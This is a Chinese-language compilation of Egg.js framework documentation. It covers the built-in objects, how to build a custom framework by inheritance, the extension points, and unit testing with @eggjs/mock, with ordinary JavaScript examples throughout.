在本章中，我们将初步了解框架内部内置的一些基础对象。这些对象包括从 \[Koa] 继承而来的 4 个对象（`Application`，`Context`，`Request`，`Response`）以及框架扩展的其他一些对象（`Controller`，`Service`，`Helper`，`Config`，`Logger`）。在后续的文档中，我们会经常遇到它们。

## Application

Application 是全局应用对象。在一个应用中，每个进程只会实例化一个 Application 实例。它继承自 `Koa.Application`，在其上我们可以挂载一些全局的方法和对象。我们可以轻易地在插件或应用中[扩展 Application 对象](./extend.md#Application)。

### 事件

在框架运行时，会在 Application 实例上触发一些事件，应用开发者或插件开发者可以监听这些事件做一些操作。作为应用开发者，我们一般会在[启动自定义脚本](./app-start.md)中进行监听：

* `server`：该事件在一个 worker 进程中只会触发一次，在 HTTP 服务完成启动后，会通过这个事件将 HTTP server 暴露出来给开发者。
* `error`：运行时捕获到任何异常后，都会触发 `error` 事件，将错误对象和关联的上下文（如果有）暴露出来，开发者可以对其进行自定义的日志记录、上报等处理。
* `request` 和 `response`：应用收到请求和响应请求时，分别会触发 `request` 和 `response` 事件，并将当前请求的上下文暴露出来，开发者可以监听这两个事件进行日志记录。

```js
// app.js

module.exports = (app) => {
  app.once('server', (server) => {
    // websocket 相关操作
  });
  app.on('error', (err, ctx) => {
    // 上报错误
  });
  app.on('request', (ctx) => {
    // 记录收到的请求
  });
  app.on('response', (ctx) => {
    // ctx.starttime 是由框架设置的
    const used = Date.now() - ctx.starttime;
    // 记录请求总耗时
  });
};
```

### 获取方式

Application 对象在编写应用时几乎任何场合都能获取到，下面介绍几个常用的获取方式：

几乎所有由框架 `Loader` 加载的文件（Controller、Service、Schedule 等），都可以通过导出一个函数来获取 Application 实例，该函数会被 `Loader` 调用，并将 app 作为参数：

* [启动自定义脚本](./app-start.md)

  ```js
  // app.js
  module.exports = (app) => {
    app.cache = new Cache();
  };
  ```

* [Controller 文件](./controller.md)

  ```js
  // app/controller/user.js
  class UserController extends Controller {
    async fetch() {
      this.ctx.body = this.app.cache.get(this.ctx.query.id);
    }
  }
  ```

与 `Koa` 一样，在 Context 对象上，可以通过 `ctx.app` 访问到 Application 对象。以 Controller 文件为例：

```js
// app/controller/user.js
class UserController extends Controller {
  async fetch() {
    this.ctx.body = this.ctx.app.cache.get(this.ctx.query.id);
  }
}
```

在继承自 Controller、Service 基类的实例中，可以通过 `this.app` 访问到 Application 对象。

```js
// app/controller/user.js
class UserController extends Controller {
  async fetch() {
    this.ctx.body = this.app.cache.get(this.ctx.query.id);
  }
}
```

## Context

Context 是一个**请求级别的对象**，继承自 \[Koa.Context]。在每次收到用户请求时，框架都会实例化一个 Context 对象。这个对象封装了这次用户请求的信息，并提供了许多便捷的方法来获取请求参数或者设置响应信息。框架会将所有的 \[Service] 挂载到 Context 实例上。部分插件也会将其他方法和对象挂载至其上（如 \[egg-sequelize] 会将所有的 model 挂到 Context 上）。

### 获取方式

获取 Context 实例的最常见方式是在 \[Middleware]、\[Controller] 以及 \[Service] 中。我们已经在 Controller 的示例中看到了相应的获取方式。在 Service 中获取 Context 的方法与 Controller 中相同，在 Middleware 中获取 Context 实例的方法则与 \[Koa] 框架的中间件中使用方法一致。

框架的 \[Middleware] 支持 Koa v1 和 Koa v2 两种中间件的写法。根据不同的写法，获取 Context 实例的方式略有区别：

```js
// Koa v1
function* middleware(next) {
  // this 为 Context 的实例
  console.log(this.query);
  yield next;
}

// Koa v2
async function middleware(ctx, next) {
  // ctx 为 Context 的实例
  console.log(ctx.query);
}
```

除了在处理请求时可以获得 Context 实例外，还有一些非用户请求的场景下需要访问 service / model 等 Context 实例上的对象。这时我们可以通过 `Application.createAnonymousContext()` 方法创建一个匿名 Context 实例：

```js
// app.js
module.exports = (app) => {
  app.beforeStart(async () => {
    const ctx = app.createAnonymousContext();
    // 应用启动前预加载
    await ctx.service.posts.load();
  });
};
```

在[定时任务](./schedule.md)中，每个 task 都接收一个 Context 实例作为参数，这样我们可以更便利地执行一些定时的业务逻辑：

```js
// app/schedule/refresh.js
exports.task = async (ctx) => {
  await ctx.service.posts.refresh();
};
```

## Request & Response

Request 是一个**请求级别的对象**，继承自 `[Koa.Request]`。封装了 Node.js 原生的 HTTP Request 对象，提供了一系列辅助方法获取 HTTP 请求常用参数。

Response 是一个**请求级别的对象**，继承自 `[Koa.Response]`。封装了 Node.js 原生的 HTTP Response 对象，提供了一系列辅助方法设置 HTTP 响应。

### 获取方式

可以在 Context 的实例上获取到当前请求的 Request(`ctx.request`) 和 Response(`ctx.response`) 实例。

```js
// app/controller/user.js
class UserController extends Controller {
  async fetch() {
    const { app, ctx } = this;
    // 获取请求中的 `id` 参数
    const id = ctx.request.query.id;
    // 设置响应体
    ctx.response.body = app.cache.get(id);
  }
}
```

* `[Koa]` 会在 Context 上代理一部分 Request 和 Response 上的方法和属性，参见 `[Koa.Context]`。
* 如上面例子中的 `ctx.request.query.id` 和 `ctx.query.id` 是等价的，`ctx.response.body =` 和 `ctx.body =` 也是等价的。
* 需要注意的是，获取 POST 的 body 应该使用 `ctx.request.body`，而不是 `ctx.body`。

## Controller

框架提供了一个 Controller 基类，并推荐所有的 `Controller` 都继承于该基类实现。这个 Controller 基类有下列属性：

* `ctx` - 当前请求的 `Context` 实例。
* `app` - 应用的 `Application` 实例。
* `config` - 应用的[配置](./config.md)。
* `service` - 应用的所有 [service](./service.md)。
* `logger` - 为当前 `Controller` 封装的 `logger` 对象。

在 `Controller` 文件中，可以通过两种方式来引用 Controller 基类：

```js
// app/controller/user.js

// 从 egg 上获取（推荐）
const Controller = require('egg').Controller;
class UserController extends Controller {
  // 实现
}
module.exports = UserController;

// 从 app 实例上获取
module.exports = (app) => {
  return class UserController extends app.Controller {
    // 实现
  };
};
```

## Service

框架提供了一个 Service 基类，并推荐所有的 Service 都继承于该基类实现。

Service 基类的属性和 [Controller](#controller) 基类属性一致，访问方式也类似：

```js
// app/service/user.js

// 从 egg 上获取（推荐）
const Service = require('egg').Service;
class UserService extends Service {
  // implement
}
module.exports = UserService;

// 从 app 实例上获取
module.exports = (app) => {
  return class UserService extends app.Service {
    // implement
  };
};
```

## Helper

Helper 用来提供一些实用的 utility 函数。它的作用在于我们可以将一些常用的动作抽离在 `helper.js` 里面成为一个独立的函数。这样可以利用 JavaScript 编写复杂的逻辑，避免逻辑分散于各个地方，同时便于更好地编写测试用例。

Helper 本身是一个类，具有和 `Controller` 基类相同的属性，它也会在每次请求时进行实例化。因此，Helper 上的所有函数也能获取到当前请求相关的上下文信息。

### 获取方式

可以在 Context 的实例上获取到当前请求的 Helper（`ctx.helper`）实例。

```js
// app/controller/user.js
class UserController extends Controller {
  async fetch() {
    const { app, ctx } = this;
    const id = ctx.query.id;
    const user = app.cache.get(id);
    ctx.body = ctx.helper.formatUser(user);
  }
}
```

除此之外，Helper 的实例还可以在模板中获取。例如，可以在模板中使用 [security](../core/security.md) 插件提供的 `shtml` 方法。

```html
<!-- app/view/home.nj -->
{{ helper.shtml(value) }}
```

### 自定义 Helper 方法

在应用开发中，我们可能经常需要自定义一些 Helper 方法。例如上面例子中的 `formatUser`，我们可以通过 [框架扩展](./extend.md#helper) 的形式来自定义 Helper 方法。

```js
// app/extend/helper.js
module.exports = {
  formatUser(user) {
    return only(user, ['name', 'phone']);
  },
};
```

## Config

我们推荐应用开发遵循配置和代码分离的原则，将一些需要硬编码的业务配置都放到配置文件中。同时，配置文件支持各个不同的运行环境使用不同的配置，使用起来也非常方便。所有框架、插件和应用级别的配置都可以通过 `Config` 对象获取到。关于框架的配置，可以详细阅读[Config 配置](./config.md)章节。

### 获取方式

我们可以通过 `app.config` 从 `Application` 实例上获取到 `config` 对象，也可以在 Controller、Service、Helper 的实例上通过 `this.config` 获取到 `config` 对象。

## Logger

框架内置了功能强大的[日志功能](../core/logger.md)，可以非常方便地打印各种级别的日志到对应的日志文件中，每一个 logger 对象都提供了 4 个级别的方法：

* `logger.debug()`
* `logger.info()`
* `logger.warn()`
* `logger.error()`

在框架中提供了多个 Logger 对象，下面我们简单地介绍一下各个 Logger 对象的获取方式和使用场景。

### App Logger

我们可以通过 `app.logger` 来获取它。如果我们想做一些应用级别的日志记录，如记录启动阶段的一些数据信息，记录一些与请求无关的业务信息，都可以通过 App Logger 来完成。

### App CoreLogger

我们可以通过 `app.coreLogger` 来获取它。一般在开发应用时，我们不应该通过 CoreLogger 打印日志。而框架和插件则需要通过它来打印应用级别的日志，这样可以更清晰地区分应用和框架打印的日志。通过 CoreLogger 打印的日志会被放到与 Logger 不同的文件中。

### Context Logger

我们可以从 Context 实例上，通过 `ctx.logger` 获取它。从访问方式上我们可以看出，Context Logger 一定是与请求相关的。它打印的日志都会在前面带上一些当前请求相关的信息（如 `[$userId/$ip/$traceId/${cost}ms $method $url]`）。通过这些信息，我们可以从日志快速定位请求，并串联一次请求中的所有日志。

### Context CoreLogger

我们可以通过 `ctx.coreLogger` 获取它。它与 Context Logger 的区别在于，一般只有插件和框架会通过它来记录日志。

### Controller Logger 和 Service Logger

我们可以在 Controller 和 Service 实例上，通过 `this.logger` 获取它们。它们实质上就是一个 Context Logger，不过在打印日志时，还会额外地加上文件路径，以方便定位日志的打印位置。

## 订阅模型

订阅模型是一种比较常见的开发模式，例如消息中间件的消费者或调度任务。因此，我们提供了 `Subscription` 基类来规范化这个模式。

你可以通过以下方式来引用 `Subscription` 基类：

```js
const Subscription = require('egg').Subscription;

class Schedule extends Subscription {
  // 需要实现此方法
  // subscribe 可以为 async function 或 generator function
  async subscribe() {}
}
```

插件开发者可以根据自己的需求，基于它定制订阅规范，例如定时任务就是使用这种规范实现的。

相关链接：

* [koa](http://koajs.com)
* [koa.application](http://koajs.com/#application)
* [koa.context](http://koajs.com/#context)
* [koa.request](http://koajs.com/#request)
* [koa.response](http://koajs.com/#response)
* [egg-sequelize](https://github.com/eggjs/egg-sequelize)
* [中间件（middleware）](./middleware.md)
* [控制器（controller）](./controller.md)
* [服务（service）](./service.md)

---

---
url: /zh-CN/advanced/framework.md
---
# 框架开发

如果你的团队遇到过：

* 维护很多个项目，每个项目都需要复制拷贝诸如 `gulpfile.js`、`webpack.config.js` 之类的文件。
* 每个项目都需要使用一些相同的类库，相同的配置。
* 在新项目中对上面的配置做了一个优化后，如何同步到其他项目？

如果你的团队需要：

* 统一的技术选型，比如数据库、模板、前端框架及各种中间件设施都需要选型，而框架封装后保证应用使用一套架构。
* 统一的默认配置，开源社区的配置可能不适用于公司，而又不希望应用去配置。
* 统一的部署方案，通过框架和平台的双向控制，应用只需要关注自己的代码，具体查看[应用部署](../core/deployment.md)。
* 统一的代码风格，框架不仅仅解决代码重用问题，还可以对应用做一定约束，作为企业框架是很必要的。Egg 在 Koa 的基础上做了很多约定，框架可以使用 [Loader](./loader.md) 自己定义代码规则。

为此，Egg 为团队架构师和技术负责人提供 `框架定制` 的能力，框架是一层抽象，可以基于 Egg 去封装上层框架，并且 Egg 支持多层继承。

这样，整个团队就可以遵循统一的方案，并且在项目中可以根据业务场景自行使用插件做差异化；当后者验证为最佳实践后，就能下沉到框架中，其他项目仅需简单的升级框架版本即可享受到。

具体可以参见[渐进式开发](../intro/progressive.md)。

## 框架与多进程

框架的扩展与多进程模型有关，我们已经了解了[多进程模型](../core/cluster-and-ipc.md)，也知道 `Agent Worker` 和 `App Worker` 的区别。因此，我们需要扩展的类也有两个：`Agent` 和 `Application`，这两个类的 API 不一定相同。

在 `Agent Worker` 启动的时候会实例化 `Agent`，而在 `App Worker` 启动时会实例化 `Application`。这两个类又同时继承自 [EggCore](https://github.com/eggjs/egg-core)。

EggCore 可以看做是 Koa `Application` 的升级版，默认内置了 [Loader](./loader.md)、[Router](../basics/router.md) 及应用异步启动等功能，可以看作是支持 `Loader` 的 Koa。

```
       Koa Application
              ^
           EggCore
              ^
       ┌──────┴───────┐
       │              │
   Egg Agent      Egg Application
      ^               ^
 agent worker     app worker
```

## 如何定制一个框架

你可以直接通过 [egg-boilerplate-framework](https://github.com/eggjs/egg-boilerplate-framework) 脚手架快速上手。

```bash
$ mkdir yadan && cd yadan
$ npm init egg --type=framework
$ npm i
$ npm test
```

但同样，为了让大家了解细节，接下来我们会手把手地来定制一个框架，具体代码可以查看[示例](https://github.com/eggjs/examples/tree/master/framework)。

### 框架 API

Egg 框架提供了一些 API，所有继承的框架都需要提供，只增不减。这些 API 基本都存在于 Agent 和 Application 两份实现中。

#### `egg.startCluster`

Egg 的多进程启动器，通过这个方法来启动 Master，主要的功能实现在 [egg-cluster](https://github.com/eggjs/egg-cluster) 上。因此，直接使用 EggCore 是单进程方式启动的，而 Egg 实现了多进程模式。

```js
const startCluster = require('egg').startCluster;
startCluster(
  {
    // 应用的代码目录
    baseDir: '/path/to/app',
    // 需要通过这个参数来指定框架目录
    framework: '/path/to/framework',
  },
  () => {
    console.log('app started');
  },
);
```

所有参数可以查看 [egg-cluster](https://github.com/eggjs/egg-cluster#options)。

#### `egg.Application` 和 `egg.Agent`

它们是进程中的唯一实例，但 Application 和 Agent 存在一定差异。如果框架继承自 Egg，会定制这两个类，那么框架应该导出（export）这两个类。

#### `egg.AppWorkerLoader` 和 `egg.AgentWorkerLoader`

框架也可能会有定制 Loader 的场景，如覆盖原方法或新加载目录，都需要提供自己的 Loader。而且必须继承自 Egg 的 Loader。

### 框架继承

框架支持继承关系，可以把框架类比于一个类，那么基类就是 Egg 框架。如果你想对 Egg 进行扩展，那么可以继承它。

首先，定义一个框架需要实现 Egg 所有的 API：

```js
// package.json
{
  "name": "yadan",
  "dependencies": {
    "egg": "^2.0.0"
  }
}

// index.js
module.exports = require('./lib/framework.js');

// lib/framework.js
const path = require('path');
const egg = require('egg');

class Application extends egg.Application {
  protected override customEggPaths() {
    // 返回框架路径
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
}

module.exports = Object.assign(egg, {
  Application,
  // 可能还会有其他扩展
});
```

应用启动时需要指定框架名（在 `package.json` 中指定 `egg.framework`，默认值是 `egg`），Loader 会从 `node_modules` 中寻找指定模块作为框架，并载入其导出的 Application。

```json
{
  "scripts": {
    "dev": "egg-bin dev"
  },
  "egg": {
    "framework": "yadan"
  }
}
```

现在，yadan 框架的目录已经成为了一个加载单元（loadUnit），因此相应的目录和文件（如 `app` 和 `config`）都会被加载。详情可以查看[框架被加载的文件](./loader.md)。

### 框架继承原理

使用 `customEggPaths()` 来指定当前框架的路径，目的是让 Loader 能探测到框架路径。为什么采取这种实现方式？本可以将框架路径直接传给 Loader，但为了实现多级框架继承，每一层框架都要提供自己的路径，且继承有其顺序。

现在的实现方案是基于类继承的。每一层框架都必须继承上一层框架，并且指定 eggPath，之后遍历原型链，就可以获取到每一层框架的路径了。

比如有三层框架：部门框架（department）> 企业框架（enterprise）> Egg

```js
// enterprise
const Application = require('egg').Application;
class EnterpriseApplication extends Application {
  protected override customEggPaths() {
    return ['/path/to/enterprise', ...super.customEggPaths()];
  }
}
// 自定义模块的 Application
exports.Application = EnterpriseApplication;

// department
const EnterpriseApplication = require('enterprise').Application;
// 继承自 enterprise 的 Application
class DepartmentApplication extends EnterpriseApplication {
  protected override customEggPaths() {
    return ['/path/to/department', ...super.customEggPaths()];
  }
}

// 启动时需要传入 department 的框架路径
const DepartmentApplication = require('department').Application;
const app = new DepartmentApplication();
app.ready();
```

以上都是示例代码，用于解释框架路径加载过程。实际上，Egg 已经提供了[本地开发](../core/development.md)和[应用部署](../core/deployment.md)的优秀工具，不需要我们自行实现。
下面是根据《优秀技术文档的写作标准》修改后的全文内容：

### 自定义 Agent

上面的例子自定义了 Application。由于 Egg 是多进程模型，因此还需要定义 Agent。原理是一样的。

```js
// lib/framework.js
const path = require('path');
const egg = require('egg');

class Application extends egg.Application {
  protected override customEggPaths() {
    // 返回 framework 路径
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
}

class Agent extends egg.Agent {
  protected override customEggPaths() {
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
}

// 覆盖了 Egg 的 Application
module.exports = Object.assign(egg, {
  Application,
  Agent,
});
```

**但因为 Agent 和 Application 是两个实例，API 有可能不一致。**

### 自定义 Loader

Loader 是应用启动的核心。利用它，我们不仅能规范应用代码，还能基于这个类扩展更多功能，比如加载数据模型。扩展 Loader 还可以覆盖默认的实现，或调整现有的加载顺序等。

我们使用 `customEggLoader()` 来自定义 Loader，主要原因还是为了使用原型链。这样，上层框架可以覆盖底层 Loader。在上面的例子基础上：

```js
// lib/framework.js
const path = require('path');
const egg = require('egg');

class YadanAppWorkerLoader extends egg.AppWorkerLoader {
  load() {
    super.load();
    // 进行自己的扩展
  }
}

class Application extends egg.Application {
  protected override customEggPaths() {
    // 返回 framework 路径
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
  // 覆盖 Egg 的 Loader，启动时将使用这个 Loader
  protected override customEggLoader() {
    return YadanAppWorkerLoader;
  }
}

// 覆盖了 Egg 的 Application
module.exports = Object.assign(egg, {
  Application,
  // 自定义的 Loader 也需要导出，以便上层框架进行扩展
  AppWorkerLoader: YadanAppWorkerLoader,
});
```

AgentWorkerLoader 的扩展也类似，这里不再赘述。AgentWorkerLoader 加载的文件可以与 AppWorkerLoader 不同。比如，默认加载时，Egg 的 AppWorkerLoader 会加载 `app.js`，而 AgentWorkerLoader 加载的是 `agent.js`。

## 框架启动原理

框架启动过程在[多进程模型](../core/cluster-and-ipc.md)、[Loader](./loader.md)、[插件](./plugin.md)中或多或少都有提及。这里我们系统地梳理一下启动顺序：

1. `startCluster` 启动时传入 `baseDir` 和 `framework`，从而启动 Master 进程。
2. Master 首先 fork Agent Worker：
   * 根据 framework 找到框架目录，实例化该框架的 Agent 类。
   * Agent 根据定义的 AgentWorkerLoader 开始加载。
   * 整个 AgentWorkerLoader 的加载过程是同步的，按照 plugin > config > extend > `agent.js` > 其他文件的顺序进行。
   * 如果 `agent.js` 中定义了自定义初始化并支持异步启动，当执行完成后，会告知 Master 启动已完成。
3. Master 在接到 Agent Worker 启动成功的消息后，会 fork App Worker：
   * App Worker 由多个进程组成，这些进程会并行启动，但执行逻辑是一致的。
   * 单个 App Worker 通过 framework 找到框架目录，实例化该框架的 Application 类。
   * Application 根据 AppWorkerLoader 开始加载，加载顺序类似，会异步等待完成后通知 Master 启动完成。
4. Master 在等到所有 App Worker 发来的启动成功消息后，完成启动，开始对外提供服务。

## 框架测试

在看下文之前，请先查看[单元测试章节](../core/unittest.md)。框架测试的大部分使用场景和应用类似。

### 初始化

框架的初始化方式有一定差异。

```js
const mock = require('@eggjs/mock');

describe('test/index.test.js', () => {
  let app;
  before(() => {
    app = mock.app({
      // 转换成 test/fixtures/apps/example
      baseDir: 'apps/example',
      // 重要：配置 framework
      framework: true,
    });
    return app.ready();
  });

  after(() => app.close());
  afterEach(mock.restore);

  it('should success', () => {
    return app.httpRequest().get('/').expect(200);
  });
});
```

* 框架和应用不同，应用测试当前代码，而框架是测试框架代码，所以会频繁更换 baseDir 达到测试各种应用的目的。
* baseDir 有潜规则，我们一般会把测试的应用代码放到 `test/fixtures` 下，所以自动补全，也可以传入绝对路径。
* 必须指定 `framework: true`，告知当前路径为框架路径；也可以传入绝对路径。
* app 应用需要在 before 等待 ready，否则在 testcase 里无法获取部分 API。
* 框架在测试完毕后，需要使用 `app.close()` 关闭，否则会有遗留问题，例如日志写文件未关闭导致 fd 不够。

### 缓存

在测试多环境场景需要使用到 cache 参数，因为 `mock.app` 默认有缓存，当第一次加载后再次加载会直接读取缓存，那么设置的环境也不会生效。

```js
const mock = require('@eggjs/mock');

describe('test/index.test.js', () => {
  let app;
  afterEach(() => app.close());

  it('should test on local', () => {
    mock.env('local');
    app = mock.app({
      baseDir: 'apps/example',
      framework: true,
      cache: false,
    });
    return app.ready();
  });
  it('should test on prod', () => {
    mock.env('prod');
    app = mock.app({
      baseDir: 'apps/example',
      framework: true,
      cache: false,
    });
    return app.ready();
  });
});
```

### 多进程测试

很少场景会使用多进程测试，因为多进程无法进行 API 级别的 mock，导致测试成本很高。而进程在有覆盖率的场景启动很慢，测试会超时。但多进程测试是验证多进程模型最好的方式。还可以测试 stdout 和 stderr。

多进程测试和 `mock.app` 参数一致，但 app 的 API 完全不同。不过，SuperTest 依然可用。

```js
const mock = require('@eggjs/mock');

describe('test/index.test.js', () => {
  let app;
  before(() => {
    app = mock.cluster({
      baseDir: 'apps/example',
      framework: true,
    });
    return app.ready();
  });
  after(() => app.close());
  afterEach(mock.restore);

  it('should success', () => {
    return app.httpRequest().get('/').expect(200);
  });
});
```

多进程测试还可以测试 stdout/stderr，因为 `mock.cluster` 是基于 [coffee](https://github.com/popomore/coffee) 扩展的，可进行进程测试。

```js
const mock = require('@eggjs/mock');

describe('test/index.test.js', () => {
  let app;
  before(() => {
    app = mock.cluster({
      baseDir: 'apps/example',
      framework: true,
    });
    return app.ready();
  });
  after(() => app.close());

  it('should get `started`', () => {
    // 判断终端输出
    app.expect('stdout', /started/);
  });
});
```

---

---
url: /zh-CN/basics/extend.md
---
# 框架扩展

框架提供了多种扩展点，以扩展自身的功能：

* Application
* Context
* Request
* Response
* Helper

在开发中，我们既可以使用已有的扩展 API 来方便开发，也可以对以上对象进行自定义扩展，以进一步加强框架的功能。

## Application

`app` 对象指的是 Koa 的全局应用对象，全局只有一个，在应用启动时被创建。

### 访问方式

* `ctx.app`

  `ctx.app` 提供了一种访问全局 `app` 对象的方式。

* Controller，Middleware，Helper，Service 中都可以通过 `this.app` 访问到 Application 对象。例如，通过 `this.app.config` 可以访问配置对象。

* 在 `app.js` 中，`app` 对象会作为第一个参数注入到入口函数中。

```js
// app.js
module.exports = (app) => {
  // 使用 app 对象
};
```

### 扩展方式

框架会将 `app/extend/application.js` 中定义的对象与 Koa Application 的 prototype 对象进行合并。在应用启动时会基于扩展后的 prototype 生成 `app` 对象。

#### 方法扩展

例如，我们要增加一个 `app.foo()` 方法：

```js
// app/extend/application.js
module.exports = {
  foo(param) {
    // this 就是 app 对象，在其中可以调用 app 上的其他方法，或访问属性
  },
};
```

#### 属性扩展

通常，属性的计算只需执行一次。因此，需要实现缓存以免多次访问属性时重复计算，这会降低应用性能。

推荐使用 Symbol 加 Getter 的模式实现属性缓存。

例如，我们增加一个 `app.bar` 属性的 Getter：

```js
// app/extend/application.js
const BAR = Symbol('Application#bar');

module.exports = {
  get bar() {
    // this 是 app 对象，在其中可以调用 app 上的其他方法，或访问属性
    if (!this[BAR]) {
      // 实际情况比这更复杂
      this[BAR] = this.config.xx + this.config.yy;
    }
    return this[BAR];
  },
};
```

## Context

Context 指的是 Koa 的请求上下文，这是请求级别的对象，每次请求生成一个 Context 实例，通常我们也简写成 `ctx`。在所有的文档中，Context 和 `ctx` 都是指 Koa 的上下文对象。

### 访问方式

* middleware 中 `this` 就是 ctx，例如 `this.cookies.get('foo')`。
* controller 有两种写法，类的写法通过 `this.ctx`，方法的写法直接通过 `ctx` 入参。
* helper，service 中的 this 指向 helper，service 对象本身，使用 `this.ctx` 访问 context 对象，例如 `this.ctx.cookies.get('foo')`。

### 扩展方式

框架会将 `app/extend/context.js` 中定义的对象与 Koa Context 的 prototype 对象进行合并，在处理请求时会基于扩展后的 prototype 生成 ctx 对象。

#### 方法扩展

例如，我们要增加一个 `ctx.foo()` 方法：

```js
// app/extend/context.js
module.exports = {
  foo(param) {
    // this 就是 ctx 对象，在其中可以调用 ctx 上的其他方法，或访问属性
  },
};
```

#### 属性扩展

一般来说，属性的计算在同一次请求中只需要进行一次，那么一定要实现缓存，否则在同一次请求中多次访问属性时会计算多次，这样会降低应用性能。

推荐的方式是使用 Symbol + Getter 的模式。

例如，增加一个 `ctx.bar` 属性 Getter：

```js
// app/extend/context.js
const BAR = Symbol('Context#bar');

module.exports = {
  get bar() {
    // this 就是 ctx 对象，在其中可以调用 ctx 上的其他方法，或访问属性
    if (!this[BAR]) {
      // 例如，从 header 中获取，实际情况肯定更复杂
      this[BAR] = this.get('x-bar');
    }
    return this[BAR];
  },
};
```

## Request 对象

Request 对象和 Koa 的 Request 对象相同，是 **请求级别** 的对象，它提供了大量请求相关的属性和方法供使用。

### 访问方式

```js
ctx.request;
```

`ctx` 上的很多属性和方法都被代理到 `request` 对象上，对于这些属性和方法使用 `ctx` 和使用 `request` 访问它们是等价的，例如 `ctx.url === ctx.request.url`。

Koa 内置的代理 `request` 的属性和方法列表可参阅：[Koa - Request aliases](http://koajs.com/#request-aliases)。

### 扩展方式

框架会将 `app/extend/request.js` 中定义的对象与内置 `request` 的 prototype 对象进行合并，在处理请求时会基于扩展后的 prototype 生成 `request` 对象。

例如，增加一个 `request.foo` 属性 Getter：

```js
// app/extend/request.js
module.exports = {
  get foo() {
    return this.get('x-request-foo');
  },
};
```

## Response

Response 对象和 Koa 的 Response 对象相同，是 **请求级别** 的对象，提供了众多响应相关的属性和方法供使用。

### 访问方式

```js
ctx.response;
```

`ctx` 上的许多属性和方法都代理到了 `response` 对象上，因此直接通过 `ctx` 访问这些属性和方法与通过 `response` 访问是等价的。例如，`ctx.status = 404` 和 `ctx.response.status = 404` 是等价的。

参考 Koa 官方文档中列出的内置代理 `response` 的属性和方法列表：[Koa Response aliases](http://koajs.com/#response-aliases)。

### 扩展方式

框架会将 `app/extend/response.js` 中定义的对象与内置 `response` 的 prototype 对象合并，在处理请求时基于扩展后的 prototype 生成 `response` 对象。

例如，要增加一个 `response.foo` 属性的 setter：

```js
// app/extend/response.js
module.exports = {
  set foo(value) {
    this.set('x-response-foo', value);
  },
};
```

现在可以这样使用：`this.response.foo = 'bar';`。

## Helper

Helper 函数用来提供一些实用的 utility 函数。

它的作用在于我们可以将一些常用的动作抽离在 `helper.js` 里面成为一个独立的函数，这样可以用 JavaScript 来写复杂的逻辑，避免逻辑分散各处。另外还有一个好处是 Helper 这样一个简单的函数，可以让我们更容易编写测试用例。

框架内置了一些常用的 Helper 函数。我们也可以编写自定义的 Helper 函数。

### 访问方式

通过 `ctx.helper` 访问到 helper 对象，例如：

```js
// 假设在 app/router.js 中定义了 home router
app.get('home', '/', 'home.index');

// 使用 helper 计算指定 url path
ctx.helper.pathFor('home', { by: 'recent', limit: 20 });
// => /?by=recent&limit=20
```

### 扩展方式

框架会把 `app/extend/helper.js` 中定义的对象与内置 `helper` 的 prototype 对象进行合并，在处理请求时会基于扩展后的 prototype 生成 `helper` 对象。

例如，增加一个 `helper.foo()` 方法：

```js
// app/extend/helper.js
module.exports = {
  foo(param) {
    // this 是 helper 对象，在其中可以调用其他 helper 方法
    // this.ctx => context 对象
    // this.app => application 对象
  },
};
```

## 按照环境进行扩展

在 `unittest` 环境中，你可以选择性地扩展应用程序。例如，只在 `unittest` 现场提供 `mockXX()` 方法，便于进行 mock 测试。

```js
// app/extend/application.unittest.js
module.exports = {
  mockXX(k, v) {},
};
```

这个文件只会在 `unittest` 环境加载。同理，Application、Context、Request、Response 和 Helper 都可以使用这种方式针对某个特定环境进行扩展。更多信息，请参阅[运行环境](./env.md)。

---

---
url: /zh-CN/core/mock.md
---

Egg 为应用单元测试抽取了专门的 Mock 辅助包：**`@eggjs/mock`**（历史上也常被称为 **egg-mock**）。

* 仓库（Egg 3.x）：https://github.com/eggjs/mock/tree/5.x
* API 说明：请以仓库 README 为准。

`@eggjs/mock` 底层基于 **`mm`**（Mock Mate），提供更通用的打桩/猴子补丁能力。

* mm 仓库：https://github.com/node-modules/mm

## 安装

```bash
npm i @eggjs/mock --save-dev
```

> 你可能会在旧文档/历史代码中看到 `egg-mock`。对 Egg 3.x，推荐直接使用 `@eggjs/mock`。

## 快速开始

### 创建 app 实例

```js
const mock = require('@eggjs/mock');

describe('test/controller/home.test.js', () => {
  let app;

  before(async () => {
    app = mock.app({ baseDir: 'path/to/your/app' });
    await app.ready();
  });

  after(() => app.close());
});
```

### 使用 bootstrap 避免重复初始化

```js
const { app, mock, assert } = require('egg-mock/bootstrap');

describe('test/controller/home.test.js', () => {
  // 测试用例
});
```

> bootstrap 会帮你做常用的初始化/清理流程，大多数项目直接用它即可。

### 创建 Context

```js
it('should get a ctx', () => {
  const ctx = app.mockContext();
  assert(ctx.method === 'GET');
});

it('should mock ctx.user', () => {
  const ctx = app.mockContext({
    user: { name: 'fengmk2' },
  });
  assert(ctx.user.name === 'fengmk2');
});
```

## 每个用例后恢复 mock

在使用 `mm` / `@eggjs/mock` 时，需要记得恢复被 mock 的状态，避免污染其它用例：

```js
const mm = require('mm');

afterEach(() => mm.restore());
```

如果你使用了 `egg-mock/bootstrap`，它会在 `afterEach` 中自动帮你 restore。

## mm（Mock Mate）API

`mm` 是通用的 monkey-patch 工具库，`@eggjs/mock` 底层基于它实现，很多 Egg 的测试也会直接使用 `mm`。

### 推荐使用 `@eggjs/mock` 的导出

为了保持 Egg 生态的一体性，建议优先使用 `@eggjs/mock`（egg-mock）导出的 `mm`：它与 `mm` 兼容，同时还包含 Egg 相关的 mock 能力。

```js
// CJS
const { app, mm } = require('egg-mock/bootstrap');
// bootstrap 已经在 afterEach 中自动执行了 mm.restore()

// 或者
const mock = require('@eggjs/mock');
mock(target, 'prop', value);
mock.restore();
```

如果确实需要，也可以直接使用独立的 `mm` 包：

```js
import mm, { restore } from 'mm';
```

### 核心能力

* `mm(target, property, value)` / `mm.mock(...)`：mock/打桩某个属性。
* `mm.restore()` / `restore()`：还原所有被 mock 的属性。
* `mm.isMocked(target, property)`：判断某个属性是否已被 mock。
* `mm.spy(target, method)`：只做 spy（记录调用次数/参数）。

> 当 mock 的属性是函数时，会自动附带 spy 字段：`called`、`calledArguments`、`lastCalledArguments`。

### 回调风格（Node callback）辅助

* `mm.data(target, method, data[, timeout])`：回调返回 `(null, data)`。
* `mm.datas(target, method, datas[, timeout])`：回调返回 `(null, ...datas)`。
* `mm.empty(target, method[, timeout])`：回调返回 `(null, null)`。
